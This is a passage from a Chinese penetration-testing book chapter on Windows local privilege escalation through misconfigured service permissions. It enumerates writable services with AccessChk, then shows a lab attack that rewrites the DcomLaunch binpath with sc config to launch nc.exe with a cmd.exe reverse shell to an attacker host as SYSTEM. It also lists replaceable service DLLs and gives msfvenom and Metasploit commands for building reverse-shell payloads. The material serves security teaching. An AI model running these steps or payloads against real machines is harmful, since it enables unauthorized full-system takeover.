- 網絡攻防實戰研究:漏洞利用與提權
- 祝烈煌
- 1912字
- 2019-11-18 15:09:32
2.3 Windows低權限進程及服務提權
在實際滲透過程中,攻擊者有可能獲取了操作系統中的一個普通用戶賬號權限或者WebShell權限,通過低權限用戶進行越權,從而獲取系統權限。其利用原理主要是通過微軟的AccessChk工具軟件配合SC來操作服務,通過服務的重啟而得到權限。
2.3.1 AccessChk簡介及使用
1.AccessChk簡介
AccessChk是Sysinternals中的一個小工具,目前最新版本為6.1。由于其新版本中存在一些Bug,在實際使用時會提示需要多個dll文件,因此在本案例中使用的是3.0版本,其官方網站提供的下載地址為https://technet.microsoft.com/en-us/Sysinternals/bb664922.aspx。
AccessChk主要用來檢查用戶和用戶組對文件、目錄、注冊表項、全局對象和系統服務的權限情況,在實際配置過程中如果權限設置失誤,就可能被用于提權。
2.使用AccessChk
在命令行下第一次運行時需要同意一個許可。如果不想看到提示窗口,可以執行“accesschk.exe/accepteula”命令,其主要參數如下。
usage: accesschk [-s][-e][-u][-r][-w][-n][-v][[-a]|[-k]|[-p [-f] [-t]][-o [-t <object type>]][-c]|[-d]] [[-l [-i]]|[username]] <file, directory, registry key, process, service, object>
這個命令分為3個部分。“accesschk”是程序名;第1個參數有9個可選項,部分可選項里還有可選參數;第2個參數是一個目標,這個目標可以是文件、目錄、注冊項、進程、服務、對象。
· -a:Windows賬戶權限。“*”作為顯示所有分配給用戶的權限名稱,只有指定用戶名稱或者組時才顯示指派的權限。
· -c:顯示服務名稱,“*”用于顯示所有服務。
· -d:僅處理目錄或頂級鍵。
· -e:只顯示顯式設置的完整性級別(Windows Vista和更高版本)。
· -f:顯示包含組和特權的完整過程令牌信息。
· -k:注冊表鍵值,例如“hklm\software”。
· -I:在取消完全訪問控制列表時忽略只繼承繼承符的對象。
· -l:顯示全部訪問控制列表。添加“-I”將忽略繼承ACE。
· -n:僅顯示沒有訪問權限的對象。
· -o:名稱是對象管理器命名空間中的一個對象(默認是root)。查看一個目錄的內容,用反斜線或“-S”、“-T”和對象類型指定名稱。
· -p:進程名或者PID,例如cmd.exe(使用“*”顯示所有的進程)。加“-f”顯示包括組和特權的所有進程令牌信息,加“-t”顯示線程。
· -q:省略標識。
· -r:顯示對象只讀屬性。
· -s:遞歸。
· -t:對象類型篩選器。
· -u:抑制錯誤。
· -v:冗長(包括Windows Vista完整性級別)。
· -w:僅顯示具有寫訪問權限的對象。
查看用戶服務,查看管理員組、users組下的所有服務,命令如下。
accesschk administrators -c * accesschk users -c *
如圖2-10所示,可以對某個用戶進行查看,主要用來提權。例如,查看simeon用戶所具備的讀寫服務器權限,命令為“accesschk simeon-c * | find "RW"”或者“accesschk simeon -cw *”。

圖2-10 查看指定用戶的服務權限
查看用戶組中對系統服務所具備的寫權限,如果有則會顯示,否則會提示“No matching objects found”,具體如下。
accesschk.exe -uwcqv "Authenticated Users" * accesschk.exe -uwcqv "Administrators" * accesschk.exe -uwcqv "Backup Operators" * accesschk.exe -uwcqv "Distributed COM Users" * accesschk.exe -uwcqv "Guests" * accesschk.exe -uwcqv "HelpServicesGroup" * accesschk.exe -uwcqv "IIS_WPG" * accesschk.exe -uwcqv "Network Configuration Operators" * accesschk.exe -uwcqv "Performance Monitor Users" * accesschk.exe -uwcqv "Performance Log Users" * accesschk.exe -uwcqv "Power Users" * accesschk.exe -uwcqv "Print Operators" * accesschk.exe -uwcqv "Remote Desktop Users" * accesschk.exe -uwcqv "Replicator" * accesschk.exe -uwcqv "TelnetClients" * accesschk.exe -uwcqv "Users" *
2.3.2 獲取低權限可操作服務的名稱
1.實驗環境
本次實驗環境為Windows Server 2003SP3,用戶simeon屬于Power User組,可登錄系統,IP地址為192.168.52.175。監聽服務IP地址為192.168.52.215。將nc.exe復制到c:\windows\temp目錄下。
2.獲取可讀寫的服務
執行以下命令獲取Power Users組可以操作的服務名稱信息,如圖2-11所示。

圖2-11 獲取可讀寫的服務名稱
accesschk.exe -uwcqv "Power Users" *
執行后顯示結果如下。
RW DcomLaunch SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_CHANGE_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS READ_CONTROL RW kdc SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_CHANGE_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS READ_CONTROL
3.查詢服務詳細信息
名稱為“DcomLaunch”、“kdc”的服務可以被simeon用戶操作。使用“sc qc kdc”命令查詢kdc服務的詳細信息,如圖2-12所示,可以看到該服務是以系統權限運行的。

圖2-12 查詢kdc服務的詳細信息
4.確定使用的服務
執行命令“net start”查看系統目前已經啟動的服務,也可以使用以下命令直接獲取。如圖2-13所示,在啟動服務列表中發現“DCOM Server Process Launcher”服務的名稱。

圖2-13 獲取服務名稱
net start | find "DCOM Server Process Launcher" net start | find "Kerberos Key Distribution Center"
5.獲取服務名稱所對應的服務
使用命令“tasklist/svc”,如圖2-14所示,獲取“DCOM Server Process Launcher”服務名稱所對應的服務“DcomLaunch”。
2.3.3 修改服務并獲取系統權限
1.修改服務參數binpath的值
使用sc命令對服務進行修改,具體如下。
sc config DcomLaunch binpath= "C:\windows\temp\nc.exe -nv 192.168.52.2154433 -e C:\WINDOWS\System32\cmd.exe"
如圖2-15所示,執行命令后,顯示修改服務配置成功。再次使用“sc qc DcomLaunch”命令,執行文件已經更改為“C:\windows\temp\nc.exe-nv 192.168.52.2154433-e C:\WINDOWS\System32\cmd.exe”。查詢服務的命令為“sc qc DcomLaunch”。

圖2-15 修改binpath的值
2.重新啟動服務
先執行“sc config DcomLaunch obj=".\LocalSystem" password=""”命令,然后使用“net start DcomLaunch”命令啟動(也可以通過services.msc服務管理器重啟該服務),如圖2-16所示。

圖2-16 重新啟動服務
3.反彈獲取服務器權限
如圖2-17所示,在反彈服務器192.168.52.215中監聽4433端口,成功獲取來自192.168.52.175的反彈,且為系統權限。

圖2-17 反彈獲取服務器權限
4.總結
在Windows XP、Windows Server 2003、Windows 7(32/64)下有一些dll文件也可以被替換,具體如下。
· IKE and AuthIP IPsec Keying Modules (IKEEXT):wlbsctrl.dll。
· Windows Media Center Receiver Service (ehRecvr):ehETW.dll。
· Windows Media Center Scheduler Service (ehSched):ehETW.dll。
· Automatic Updates (wuauserv):ifsproxy.dll。
· Remote Desktop Help Session Manager (RDSessMgr):SalemHook.dll。
· Remote Access Connection Manager (RasMan):ipbootp.dll。
· Windows Management Instrumentation (winmgmt):wbemcore.dll。
· Audio Service (STacSV):SFFXComm.dll SFCOM.DLL。
· Intel(R) Rapid Storage Technology (IAStorDataMgrSvc):DriverSim.dll。
· Juniper Unified Network Service(JuniperAccessService):dsLogService.dll。
可以使用MSF生成exe文件。
·用Linux MSF監聽4433端口,命令如下。
./msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.215 lport=4433 -f exe -o /tmp/my_payload.exe
·在Windows下監聽4433端口,命令如下。
./msfvenom -p windows/shell_reverse_tcp lhost=192.168.52.215 lport=4433-f exe -o /tmp/w.exe
在MSF上執行如下命令。
set payload windows/meterpreter/reverse_tcp show options set lhost 192.168.52.215 set lport 4433 run 0
將生成的“/tmp/my_payload.exe”按照本書的方法執行,即可得到反彈的WebShell。